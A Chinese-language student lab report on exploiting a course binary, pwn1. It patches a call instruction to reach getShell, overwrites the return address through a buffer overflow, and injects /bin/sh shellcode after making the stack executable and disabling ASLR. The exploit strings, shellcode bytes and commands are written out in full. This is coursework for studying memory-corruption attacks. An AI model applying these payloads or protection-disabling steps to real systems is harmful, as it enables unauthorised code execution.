网络对抗技术EXP1——PC平台逆向破解 20184307章森洋

一、逆向及BOF基础实践说明
1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

1.2实践内容
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

1.3基础知识
掌握Linux界面的基本组成部分
熟悉Linux基本操作，能看懂常用指令,如管道（|），输入、输出重定向（>）等
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址，知道代码是如何一步步
会使用gdb,vi。
掌握机器指令与汇编语言的关系，认识并理解常用的汇编语言，包括MOV、SUB、NOP, JNE, JE, JMP, CMP等。
掌握反汇编语句，objdump,我们可以使用man objdump查看功能

二、实验过程
现在云班课上下载pwn1的Linux可执行文件，将其放入上次挂壁的共享文件夹，这样我们就可以在Linux里面直接使用该文件。
对目标文件实现反汇编 objdump -d pwn1 | more
这里objdump是反汇编命令，-d是表示disassembly，|表示管道服务，more表示分页显示

main函数调用foo，对应机器指令为“ e8 d7ffffff”，
注意，"call 8048491 "是汇编指令，是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

然后我们需要修改可执行文件，而方法是通过vi编辑器
root@KaliYL:~# cp pwn1 pwn2
root@KaliYL:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

修改完成后我们再通过反汇编可以发现call指令对应的机器代码已经改动，而汇编语言也改成调用getshell，说明我们成功修改。
我们运行修改后和修改前的文件（pwn20184307是修改前的文件，pwn1是修改后的文件）

可以发现pwn20184307是实现了foo函数的功能，即输入字符窜可以返回相同的字符串，而pwn1是无法实现这个功能了，反而是可以执行其他命令，比如ls指令，显然是可执行文件被篡改了

二、通过构造输入参数，造成BOF攻击，改变程序执行流
由于这个foo函数存在Bufferoverflow漏洞，我们的目的是通过foo函数中的堆栈溢出，让溢出部分覆盖到EIP地址寄存器上，从而取消foo函数原本的输出功能，转而跳转不执行的getshell函数。

8048491 :
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)

== 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

804849d: e8 8e fe ff ff call 8048330 gets@plt
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 puts@plt
80484ad: c9 leave
80484ae: c3 ret
EI
这里我们可以看到foo设置的堆栈空间为0×1c的空间，即28字节，那如果输入的字符串超过28字节，就会溢出，接下来的4个字节会到ebp寄存器上，再接下来的4个字节才会到eip寄存器上，原理懂了我们现在就需要验证是否是33-36个字节在eip寄存器上。
直接进入程序调试

这里没有gdb的我们首先要安装gdb
apt-get install gdb用这个指令来安装gdb

在图片中可以看到，我输入的是1111111122222222333333334444444412345678
而给出的返回地址是0×34333231，转化为十进制就是4、3、2、1，根据小端优先，就是我输入的1234，即第33、34、35、36位
因此，验证上述猜想。
由于getshell的地址是0804847d，所以输入的字符串是11112222333344445555666677771234\x7d\x84\x04\x08
由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input-20184307中。
使用十六进制xxd查看指令查看input文件，可以看到文件内容正如预期的一样。
然后我们可以通过管道符|将input-20184307作为pwn20184307的输入
(cat input-20184307; cat) | ./pwn20184307
我们发现该可执行文件的功能已不再是回显字符串了，说明我们修改成功了。

三、注入Shellcode并执行
准备一段Shellcode
shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
这里我们需要准好一段shellcode——\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
我们需要进行一些设置
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
因为我未安装execstack，而且通过指令‘apt-get install execstack’也安装失败，因此就参考https://www.cnblogs.com/wqnmlkb/p/14502443.html的安装方法

安装成功后，接下来我们通过execstack -s pwn4307设置堆栈可执行，本实验中，我备份pwn1，并重命名为pwn4307,方便之后的运行。通过execstack -q pwn4307查询文件的堆栈是否可用。如下图所示，出现X的话就表示可用了。

之后是要关闭地址随机化，指令为echo "0" > /proc/sys/kernel/randomize_va_space ，输入more /proc/sys/kernel/randomize_va_space如果反馈值是0，则表明已经关闭地址随机化。
我们用输入重定向将生成的字符串存储到文件中perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode-4307
用(cat input_shellcode-4307;cat) | ./pwn4307注入攻击缓冲区buffer
这时我们打开另外一个进程，输入命令ps -ef | grep pwn4307，查询pwn4307的进程号,这里可以看到是6208
打开gdb进行调试，输入attach 6208
然后输入disassemble foo，针对foo函数进行反汇编

从上图可知，ret的地址为0x080484ae，所以我们就在这个地址设置断点，指令为break *0x080484ae，之后按c继续
输入指令info r esp

由上图看到01020304了，就是返回值的地址，shellcode就紧挨着，就是0×ffffd1c0
最后就是修改shellcode的值，用perl语言生成一个文件，再进行注入，大功告成！